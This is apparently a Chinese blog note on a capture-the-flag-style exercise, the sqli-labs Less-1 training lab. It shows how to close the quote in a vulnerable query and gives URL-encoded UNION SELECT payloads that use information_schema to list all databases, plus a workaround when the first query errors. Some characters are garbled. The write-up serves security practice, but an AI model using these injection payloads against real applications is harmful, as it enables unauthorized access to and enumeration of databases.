@[toc]
-
問題
- http://43.247.91.228:84/Less-1/
- 以上述連接為例。即sql-labs的第一個(gè)。sql語句為 select username,password from table whrere id = 'input'
-
閉合條件為?id=1' --+ ,如果注釋符被過濾,那么閉合條件就會變?yōu)?id=1' and '1 (note:不能用or,會導(dǎo)致永真效果)
在這里插入圖片描述 - 此時(shí)缺產(chǎn)生了一個(gè)致命的問題,即查找數(shù)據(jù)庫出錯
-
http://43.247.91.228:84/Less-1/?id=1%27%20union%20select%201,group_concat%28schema_name%29,3%20from%20information_schema.schemata%20and%20%271
e_16,color_FFFFFF,t_70) -
解決方法
- 換另一個(gè)查找所有數(shù)據(jù)庫的構(gòu)造語句。
- union select 1,group_concat(table_schema),3 from information_schema.tables group by table_schema
- http://43.247.91.228:84/Less-1/?id=0%27%20union%20select%201,group_concat(table_schema),3%20from%20information_schema.tables%20group%20by%20table_schema%20and%20%271
- 打開f12復(fù)制下來爆出數(shù)據(jù)庫,雖然有很多重復(fù)的字段,但是能看到所有的數(shù)據(jù)庫。